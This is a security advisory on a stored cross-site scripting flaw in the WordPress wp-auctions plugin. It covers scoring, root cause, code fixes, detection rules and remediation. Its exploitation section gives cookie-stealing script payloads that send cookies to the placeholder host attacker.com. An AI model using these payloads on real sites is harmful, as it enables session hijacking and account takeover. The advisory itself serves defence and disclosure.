CVE-2024-54207

Executive Summary

CVE-2024-54207 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Auction Plugin (wp-auctions) by WP Marka, affecting versions up to and including 3.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into auction listings. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is no longer maintained, and no official patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as details become public.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Admin must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can escalate to full site compromise if an admin session is hijacked.

Deep Dive & Mechanics

The wp-auctions plugin fails to sanitize or escape user input in auction fields such as title, description, or custom fields. When an attacker submits a new auction or edits an existing one, they can inject HTML/JavaScript payloads. The plugin stores this input directly into the WordPress database without proper validation. When the auction page is rendered, the injected script executes in the context of the viewer's browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. This is a classic Stored XSS pattern in WordPress plugins.

Attack Flow:

1. Attacker registers as a contributor or higher.
2. Attacker creates a new auction with a malicious payload in the title or description field (e.g., <script>alert('XSS')</script>).
3. Admin or other user visits the auction listing page.
4. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (wp-auctions <= 3.7):

// In wp-auctions.php or template file
echo '<h2>' . $auction_title . '</h2>';
echo '<p>' . $auction_description . '</p>';

Patched Code (Hypothetical):

// Properly escape output
echo '<h2>' . esc_html( $auction_title ) . '</h2>';
echo '<p>' . esc_html( $auction_description ) . '</p>';

Since no official patch exists, users must manually apply escaping or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with wp-auctions plugin <= 3.7.
• Attacker account with Contributor role or higher.

Steps:

1. Log in as a contributor.
2. Navigate to Auctions > Add New.
3. In the title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish the auction.
5. Wait for an admin to view the auction page. The script will execute, sending the admin's cookies to the attacker's server.

Proof-of-Concept (No exploit-db code available):

<!-- Payload for auction title -->
<script>new Image().src='https://attacker.com/log?c='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for new auctions containing script tags or unusual HTML.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Review WordPress logs for suspicious auction creation activity.

Hardening:

• Disable the plugin immediately if not essential.
• Apply a virtual patch via WAF to block <script> tags in auction fields.
• Restrict contributor roles from creating auctions if possible.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified or new auction posts containing <script> tags in the database.
• Log: WordPress audit logs showing auction creation by low-privilege users with unusual content.
• Browser: Unexpected pop-ups or redirects when viewing auction pages.

Detection Engineering

YARA Rule

rule wp_auctions_stored_xss {
    meta:
        description = "Detects stored XSS payloads in wp-auctions plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54207"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via wp-auctions Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in WordPress auction posts
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains|all:
            - "wp-auctions"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in auction descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54207 - Stored XSS in wp-auctions"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wp-auctions"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply a virtual patch using a WAF to block XSS payloads in auction fields.
3. Audit existing auctions for malicious content and remove them.

Long-Term:

• Replace the plugin with an actively maintained alternative.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce strict role-based access control for auction creation.

No official patch is available. Users must rely on workarounds or migrate to a different plugin.

Valters IT
Securing Digital Frontiers